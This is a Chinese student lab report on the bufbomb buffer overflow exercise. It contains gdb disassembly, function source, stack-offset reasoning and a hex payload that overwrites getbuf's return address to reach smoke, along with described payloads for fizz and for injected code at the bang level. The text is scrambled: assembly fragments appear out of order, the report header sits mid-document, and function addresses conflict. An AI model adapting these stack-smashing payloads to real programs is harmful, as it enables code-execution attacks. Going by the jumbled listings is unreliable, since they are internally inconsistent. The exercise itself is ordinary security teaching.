bufbomb实验报告
- 格式:doc
- 大小:317.50 KB
- 文档页数:16
return 1;
}
Getbuf函数反汇编:
(gdb) disassemble getbuf
Dump of assembler code for function getbuf:
0x08049262 <+0>:push %ebp
0x08049263 <+1>:mov %esp,%ebp
0x08048d52<+0>:push %ebp
0x08048d53 <+1>:mov %esp,%ebp
0x08048d55 <+3>:sub $0x18,%esp
0x08048d58 <+6>:mov0x804d10c,%eax// global_value地址
0x08048d5d <+11>:cmp0x804d104,%eax//cookie地址
0x08048dc4 <+21>:movl $0x804a2e0,0x4(%esp)
0x08048dcc <+29>:movl $0x1,(%esp)
0x08048dd3 <+36>:call 0x8048990 <__printf_chk@plt>
0x08048dd8 <+41>:movl $0x1,(%esp)
End of assembler dump.
可知val变量(即存储cookie的变量)存储的地址为fizz函数中的0x8(%ebp),而fizz函数开始的地址为0x08048daf。因此输入的前44个字节为非0a任意值,第45-48个字节存放fizz函数开始的地址,即af 8d 04 08,接下来4个字节也是非0a任意值,最后四个字节为cookie对应的数值,我用的cookie是young,查看young对应的数值为0x3246f559,最后四位为59 f5 46 32,因此根据这个栈的结构,level1输入的56个字节为:
设置断点查看cookie为young时buf的首地址为:0x55683778
根据这个栈的结构将修改global_value值的指令序列放在最前11位,再补上33个字节00,45-48字节存buf的首地址,49-52字节存bang函数的首地址。因此答案为:
0x08048d63 <+17>:jne 0x8048d8b <bang+57>
0x08048d65 <+19>:mov %eax,0x8(%esp)
0x08048d69 <+23>:movl $0x804a4ac,0x4(%esp)
0x08048d71 <+31>:movl $0x1,(%esp)
实验内容及操作步骤:
首先,使用objdump工具对bufbomb文件进行反汇编,输入指令objdump -d bufbomb > bomb.txt,生成bomb.txt文件。
bufbomb运行时会进入getbuf函数,其中通过调用Gets函数读取字符串。要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。
0x08048df2 <+67>:movl $0x1,(%esp)
0x08048df9 <+74>:call 0x8048990 <__printf_chk@plt>
0x08048dfe <+79>:movl $0x0,(%esp)
0x08048e05 <+86>:call 0x80488d0 <exit@plt>
Level 0:
要求:将getbuf函数执行return后执行test函数改为执行smoke函数。
Getbuf函数源码:
/* Buffer size for getbuf */
#define NORMAL_BUFFER_SIZE 32
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
0x08048ddf <+48>:call 0x8049280 <validate>
0x08048de4 <+53>:jmp 0x8048dfe <fizz+79>
0x08048de6 <+55>:mov %eax,0x8(%esp)
0x08048dea <+59>:movl $0x804a4d4,0x4(%esp)
执行结果如下:
Level 2:
要求:将getbuf函数执行return后执行test函数改为执行bang函数。
Bang函数源码:
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
0x08048e1f <+21>:call 0x8048990 <__printf_chk@plt>
0x08048e24 <+26>:movl $0x0,(%esp)
0x08048e2b <+33>:call 0x8049280 <validate>
0x08048e30 <+38>:movl $0x0,(%esp)
0x08048e37 <+45>:call 0x80488d0 <exit@plt>
End of assembler dump.
smoke函数开始的地址为0x08048e0a,最后四个字节应该填入0a 8e 04 08,但是0a为\n会让getbuf结束,所以可以从0x08048e0b开始。因此根据栈的结构,输入的48个字节为:
课程实验报告
课程名称:计算机组成与结构
实验项目名称:bufbomb-handout
专业班级:
姓名:
学号:
********
完成时间:2016年5月27日
信息科学与工程学院
实验题目:buflab-handout缓存区溢出实验
实验目的:掌握缓冲区溢出的原理;理解汇编语言,通过汇编语言防范缓冲区溢出的漏洞
实验环境:ubuntu-15.10、x32系统、VMware workstation
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
Bang函数反汇编:
(gdb) disassemble bang
Dump of assembler code for function bang:
0x08049278 <+22>:leave
0x08049279 <+23>:ret
End of assembler dump.
可以看出lea把buf的指针地址-0x28(%ebp)传给了Gets(),因此buf距返回地址有0x28+4=44个字节的距离,因此只需从buf处开始填入44个字节的非0a数(0a为ASCII码的\n,会使getbuf结束),接下来四个字节填写要返回的地址,因为要返回至smoke,所以接下来查看smoke函数的汇编代码:
0x08048db5 <+6>:mov0x8(%ebp),%eax//val存储地址
0x08048db8 <+9>:cmp0x804d104,%eax//cookie地址
0x08048dbe <+15>:jne 0x8048de6 <fizz+55>
0x08048dc0 <+17>:mov %eax,0x8(%esp)
Fizz函数源码
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
要求:将getbuf函数执行return后执行test函数改为执行fizz函数。
bufbomb可执行文件中有一个函数fizz:与上一个任务类似,但是现在我们必须把我们自己的cookie值当参数传递给fizz函数,通过makecookie计算出userid的cookie值
fizz函数的首地址为0x08048daf,除了要将这个值用相同的方式输入到getbuf中返回地址处外,还应将cookie值输入到在fizz函数中fizz函数返回地址的上一个4字节处。
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08
执行结果如下:
Level1:
Smoke函数源码:
void smoke()
{
printf("Smoke!: You called smoke()\n");